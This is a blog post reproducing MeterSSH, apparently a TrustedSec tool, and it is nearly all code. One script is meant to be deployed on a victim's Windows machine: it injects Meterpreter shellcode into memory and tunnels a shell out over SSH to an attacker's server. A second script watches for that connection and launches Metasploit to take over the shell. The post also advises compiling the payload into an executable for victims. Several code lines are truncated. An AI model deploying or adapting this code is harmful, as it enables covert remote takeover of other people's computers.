Title: Meterpreter con SSH Date: 2015-12-29 2:15 Modified: 2015-12-29 20:33 Category: Code Tags: python, code, meterssh Slug: monitor Summary: Status: published

There are two files, monitor.py and meterssh.py.

monitor.py – run this in order to listen for an SSH connection, it will poll for 8021 on localhost for an SSH tunnel then spawn Metasploit for you automatically to grab the shell.

meterssh.py – this is what you would deploy to the victim machine – note that most windows machines wont have Python installed, its recommended to compile Python with py2exe or pyinstaller.

Fields you need to edit inside meterssh.py

```
user = "sshuser"
# password for SSH
password = "sshpw"
# this is where your SSH server is running
rhost = "192.168.1.1"
# remote SSH port - this is the attackers SSH server
port = "22"
```

##meterssh.py:

```
from socket import *
import paramiko
import multiprocessing
import time
import subprocess
import ctypes
import thread
import threading
import select

# http://www.hackplayers.com/2014/11/meterssh-meterpreter-sobre-ssh.html
# https://github.com/trustedsec/meterssh

##################################################################################################
#
#                     MeterSSH
#           Tunneling Shellcode over SSH
#                   Version 1.0
#
#   Written by: David Kennedy (ReL1K)
#   Website: https://www.trustedsec.com
#   Twitter: @TrustedSec @HackingDave
#
# Simple add your username, password, remote IP, and remote port
# for your SSH server and watch the magic.
#
# Note that you can easily make this into a binary with pyinstaller or py2exe
#
##################################################################################################

# define our shellcode injection code through ctypes
def inject(shellcode):
    # special thanks to Debasish Mandal (http://www.debasish.in/2012_04_01_archive.html)
    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                              ctypes.c_int(len(shellcode)),
                                              ctypes.c_int(0x3000),
                                              ctypes.c_int(0x40))
    ctypes.windll.kernel32.VirtualLock(ctypes.c_int(ptr),
                                       ctypes.c_int(len(shellcode)))
```

```
    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                         buf,
                                         ctypes.c_int(len(shellcode)))
    ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                             ctypes.c_int(0),
                                             ctypes.c_int(ptr),
                                             ctypes.c_int(0),
                                             ctypes.c_int(0),
                                             ctypes.pointer(ctypes.c_int(0)))
    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))


# base socket handler for reverse SSH
def handler(chan, host, port):
    sock = socket()
    try:
        sock.connect((host, port))

    except Exception, e:
         print e

    while True:
        r, w, x = select.select([sock, chan], [], [])
        if sock in r:
            data = sock.recv(1024)
            if len(data) == 0:
                break
            chan.send(data)
        if chan in r:
            data = chan.recv(1024)
            if len(data) == 0:
                break
            sock.send(data)
    chan.close()
    sock.close()

# here is where we start the transport request for port forward on victim then tunnel over via thread and han
def reverse_forward_tunnel(server_port, remote_host, remote_port, transport):

        transport.request_port_forward('', server_port)
        # while we accept transport via thread handler continue loop
        while True:
                chan = transport.accept(1000)
                if chan is None:
                        continue

                thr = threading.Thread(target=handler, args=(chan, remote_host, remote_port))
                thr.setDaemon(True)
                # start thread
                thr.start()

# main class here
def main(user,password, rhost, port):
    server = [rhost, int(port)]  # our ssh server
    remote = ['127.0.0.1', int(8021)] # what we want to tunnel
    client = paramiko.SSHClient() # use the paramiko SSHClient
    client.load_system_host_keys() # load SSH keys
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # automatically add SSH key
```

```
    try:
        client.connect(server[0], server[1], username=user, key_filename=None, look_for_keys=False, password=

    # except exception
    except Exception, e:
        print '*** Failed to connect to %s:%d: %r' % (server[0], server[1], e)
    try:
        reverse_forward_tunnel(8021, remote[0], remote[1], client.get_transport())

    # except exception
    except Exception, e:
        print e

if __name__ == '__main__':
    # used when you need to use multiprocessing and use pywin32 or py2exe and byte compile to a binary
    multiprocessing.freeze_support()
    # this is traditional metasploit windows/meterpreter/bind_tcp that binds on port 8021 - meterssh will the
    shellcode = r"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x7
    shellcode = shellcode.decode("string_escape")
    shellcode = bytearray(shellcode)
    print "[*] Shellcode injection loaded into memory..."
    time.sleep(2)
    p = multiprocessing.Process(target=inject, args=(shellcode,))
    print "[*] Spawning meterpreter on localhost on port: 8021"
    jobs = []
    jobs.append(p)
    p.start()
    # this starts the main routine which is where we get all our port forward stuff
    # user for ssh - note that you can easily modify this to support pub/priv keys
    user = "sshuser"
    # password for SSH
    password = "sshpw"
    # this is where your SSH server is running
    rhost = "192.168.1.1"
    # remote SSH port - this is the attackers SSH server
    port = "22"
    print "[*] Tunneling SSH, this takes a moment."
    print "[*] You should have a shell raining in a sec.."
    time.sleep(3)
    thread.start_new_thread(main,(user,password, rhost, port,))
```

##monitor.py:

```
#!/usr/bin/python
import time
import subprocess
import re
#
# Reverse SSH tunnel monitor for meterssh.
#
# Simply run python monitor.py and wait for your shell to come back
#
# Written by: David Kennedy (ReL1K)
# Website: https://www.trustedsec.com
# Twitter: @TrustedSec @HackingDave
#
#
```

```
print "[*] Launching count monitor at 5 second intervals..."
while 1:
    print "[*] Polling... Waiting for connection into SSH encrypted tunnel..."
    proc = subprocess.Popen("netstat -antp | grep 8021", stdout=subprocess.PIPE, shell=True)
    stdout = proc.communicate()[0]
    if "8021" in stdout:
        print "[*] Encrypted tunnel identified. Yipee, we gots a shell!"
        time.sleep(1)
        print "[*] Creating a quick Metasploit answer file for you.."
        filewrite = file("answer.txt", "w")
        filewrite.write("use multi/handler\nset payload windows/meterpreter/bind_tcp\nset RHOST 0.0.0.0\nset
        filewrite.close()
        time.sleep(1)
        print "[*] Launching Metasploit... Wait one minute..."
        subprocess.Popen("msfconsole -r answer.txt", shell=True).wait()
        print "[*] All done! Wrapping things up."
        subprocess.Popen("rm answer.txt", shell=True).wait()
        break
    else:
        time.sleep(5)
```

Fichero

https://www.trustedsec.com/november-2014/meterssh-meterpreter-ssh/